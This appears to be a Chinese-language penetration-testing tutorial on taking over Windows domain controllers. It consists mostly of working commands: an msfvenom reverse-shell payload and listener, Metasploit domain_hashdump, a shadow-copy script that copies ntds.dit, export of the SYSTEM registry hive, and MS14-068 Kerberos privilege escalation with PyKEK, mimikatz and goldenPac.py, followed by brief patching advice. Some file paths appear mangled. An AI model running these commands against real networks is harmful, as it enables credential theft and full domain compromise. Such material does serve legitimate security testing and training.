前言:万物皆有裂痕,那是光进来的地方。
一、 使用Metasploit获取域散列值
1.psexec_ntdsgrab模块的使用
use auxiliary/admin/smb/psexec_ntdsgrab
2.基于meterpreter会话获取域账号和域散列值
生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.148 LPORT=4444 -f exe>msf.exe
msf 监听
use exploit/multi/handler
域控点击木马,拿到 meterpreter 会话
使用doamin_hashdump
模块获取域账号和域散列值。
use post/windows/gather/credentials/domain_hashdump
设置· session 后 exploit 。
二、 使用vshadow.exe QuarDump.exe 导出域账号和域散列值
1.在线获取
在域控无杀软的情况下可以尝试将这两工具上传到域控,前者可以生成快照,后者则可以导出散列值。
https://github.com/quarkslab/quarkspwdump
本地破解散列值:
http://ophcrack.sourceforge.net/tables.php
在线破解:
2.使用vshadow.exe来获取
现在官方不提供vshadow.exe的直接下载了,可以安装官方JDK,在安装目录下可以找到vshadow.exe,这里要注意操作系统的版本,特别是xp和server 2003。
利用官方JDK生成vshadow.exe的方法虽然不用担心后门,但是操作实在麻烦,这里提供一个runtime的工具:ShadowCopy,安装后在安装目录下可以找到各系统版本对应的vshadow.exe。
为了方便使用vshadow.exe,这里提供一个脚本:ShadowCopy.bat,内容如下:
setlocal if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK set SOURCE_DRIVE_LETTER=%SystemDrive% set SOURCE_RELATIVE_PATH=windowsntdsntds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
vshadow.exe和ShadowCopy.bat上传到域控的同一目录,执行完ShadowCopy.bat后,ntds.dit便会被复制到当前目录。
在导出hash之前,ntds.dit需要使用esentutl工具修复
esentutl /p /o ntds.dit
导出ntds.dit后为了解密,还需要导出syskey
reg save hklmsystem c:perflogssystem.hive
三、 Kerberos域用户提权漏洞分析与防范
1.漏洞分析
ms14-068, cve-2014-6324
当当前环境内存在该漏洞时,任意域用户都可以提升至域管理员权限.
成因:用户在向Kerberos秘钥分发中心(KDC)申请身份凭证(TGT)时可以伪造票据声称自己有域管理员权限,KDC没有验证,直接分发了域管理的TGT,用户再将TGT发给KDC时就可以通过票据授权服务(TGS)的验证,获得域管理权限的票据,从而拥有访问各种服务的权限,达到提权效果。
测试环境:(测试 win2012失败,看后续 win 2008)
域 : hacke.testx
域控: win2012R2 192.168.1.1
域成员: win7 192.168.1.3 , usertest/Zxc123456
2.PyKEK 工具包
工具说明
https://technet.microsoft.com/library/security/ms14-068
PyKEK 是利用 Kerberos 协议进行渗透测试的工具包。
使用 PyKEK 可以生成一张高权限的服务票据,并通过 mimikatz 将服务票据注入内存。
ms14-068.py 是工具包中漏洞利用脚本。
用法:
USAGE: ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> OPTIONS: -u <username>@<domainName> 用户名@域名 -s <userSid> 用户 SID -d <doaminControllerAddr> 域控制器地址 -p <clearPassword> 明文密码 -rc4 <ntlmHash> 在没有明文密码的情况下,通过 NTLM Hash 登录
1.查看域控制器的补丁安装情况
2.查看用户的SID
3.查看域内用户所有uid
4.生成高权权票据
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
在当前目录下生成 TGT_user01@sec.com.ccache
的票据文件。
5.查看注入前的权限
想列出域控制器c 盘目录.
dir \\192.168.1.3\C$
6.清楚内存中所有票据
打开 mimikatz , 输入命令
kerberos::purge
7.将高权限票据注入内存
mimikatz 中输入命令,回显”Injecting ticket:OK” ,表示注入成功。
验证权限
dir或者net use 验证。
3 goldenPac.py
glodenPac.py 是一个用于对 Kerberos 进行测试的工具,它集成在 impacket 工具包中,存放在 impacket-master/examples.
python glodenPac.py 域名/域成员用户:域成员用户密码@域控制器地址
kali 中安装客户端
apt-get install krb5-user -y
命令
python goldenPac.py sec1.com/user01:123.com@10.1.1.10
出现错误请看
https://note.f5.pm/go-37050.html
得到域控shell.
C:\Windows\system32>whoami nt authority\system
goldenPac.py 是通过 PsExec(被查杀) 获得shell的,会产生大量日志。
4 在Metasploit中进行测试
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
设置相关信息,exploit,生成 bin 文件
msf 监听,拿到 win7 meterpreter 会话
meterpreter > getuid Server username: SEC1\user01
输入load kiwi
,
然后输入
kerberos_ticket_use /root/.msf4/loot/0-00000000-user01@krbtgt-SEC1.COM.kirbi
之后使用高票据进行测试
msf exploit(handler) > use exploit/windows/local/current_user_psexec 设置相关选项 exploit ..... ..... meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
5 防范建议
针对kerberos域用户提权漏洞,有如下防范
1.针对windows Update 功能,进行自动更新
2.手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁
3.域内账号进行控制,禁止使用弱口令,及时、定期修改密码
4.在服务器上安装反病毒软件,及时更新病毒库。
总结
内网域控制器是大型内网中最重要的一环,拿下域控的话,基本整个内网就拿下了。域控也是最主要的一环,文章主要写了使用一些工具和脚本获取关键信息。